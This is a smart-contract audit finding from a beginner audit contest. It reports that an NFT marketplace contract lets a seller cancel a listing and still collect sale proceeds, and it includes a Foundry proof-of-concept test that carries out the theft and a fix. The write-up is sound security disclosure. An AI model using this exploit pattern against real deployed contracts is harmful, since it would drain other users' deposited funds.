NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling Callable After cancelListing — Seller Steals Funds Without a Buyer

Author Revealed upon completion

Root + Impact

Description

  • After a listing is sold via buy(), the seller is entitled to call collectUsdcFromSelling to receive price - fees + collateral. The function guards on !listing.isActive to ensure the sale is finalized.

  • Both buy() and cancelListing() set isActive = false, making them indistinguishable. A seller can list an NFT, cancel the listing (getting collateral back), then call collectUsdcFromSelling to extract price - fees from the contract funds that no buyer ever deposited.

// cancelListing sets isActive = false and returns collateral
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
require(s_listings[_listingId].isActive, "Listing is not active");
@> s_listings[_listingId].isActive = false; // same terminal state as buy()
uint256 tokenId = s_listings[_listingId].tokenId;
uint256 collateral = collateralForMinting[tokenId];
collateralForMinting[tokenId] = 0;
usdc.safeTransfer(msg.sender, collateral);
// price and seller remain intact in storage
}
​
// collectUsdcFromSelling only checks isActive == false
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// Cannot distinguish "sold" from "cancelled" — proceeds with payout
}

Risk

Likelihood:

  • Any whitelisted user who has listed an NFT can execute the attack cancel their own listing, then call collectUsdcFromSelling in the same transaction

The attack requires only a single user acting alone with no external dependencies

Impact:

  • Direct theft of price - fees USDC per attack cycle from other users' deposited funds

Attack is repeatable: attacker can cycle list → cancel → collect indefinitely until contract is drained

  • Combined with NM-001 (no re-call protection), each cycle can be called multiple times before re-listing

Proof of Concept

function test_NM002_CancelThenCollectStealsFunds() public {
// Setup: 4 victims deposit 10 USDC collateral each (40 USDC in contract)
address alice = makeAddr("alice");
address[] memory victims = new address[](4);
for (uint i = 0; i < 4; i++) {
victims[i] = makeAddr(string(abi.encodePacked("victim", i)));
_mintAndDepositCollateral(victims[i], i + 2);
}
​
// Alice mints tokenId=1 (deposits 10 USDC collateral)
_mintAndDepositCollateral(alice, 1);
​
uint256 balanceBefore = usdc.balanceOf(alice);
​
vm.startPrank(alice);
// Alice lists at 20 USDC
nftDealers.list(1, 20e6);
// Alice cancels — gets 10 USDC collateral back
nftDealers.cancelListing(1);
// Alice calls collectUsdcFromSelling — extracts 20 - fees from contract
// No buyer ever paid! This is pure theft.
nftDealers.collectUsdcFromSelling(1);
vm.stopPrank();
​
uint256 aliceGain = usdc.balanceOf(alice) - balanceBefore;
​
// Alice gained collateral (10) + stolen funds (20 - fees) = ~24.85 USDC
// But she only deposited 10 USDC
assertGt(aliceGain, 20e6);
// Contract cannot cover victims' 40 USDC
assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}

Recommended Mitigation

+ enum ListingStatus { NONE, ACTIVE, SOLD, CANCELLED, COLLECTED }
​
struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
- bool isActive;
+ ListingStatus status;
}
​
function buy(uint256 _listingId) external payable {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.SOLD;
}
​
function cancelListing(uint256 _listingId) external onlySeller(_listingId) {
- s_listings[_listingId].isActive = false;
+ s_listings[_listingId].status = ListingStatus.CANCELLED;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
- require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(s_listings[_listingId].status == ListingStatus.SOLD, "Not sold");
+ s_listings[_listingId].status = ListingStatus.COLLECTED;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!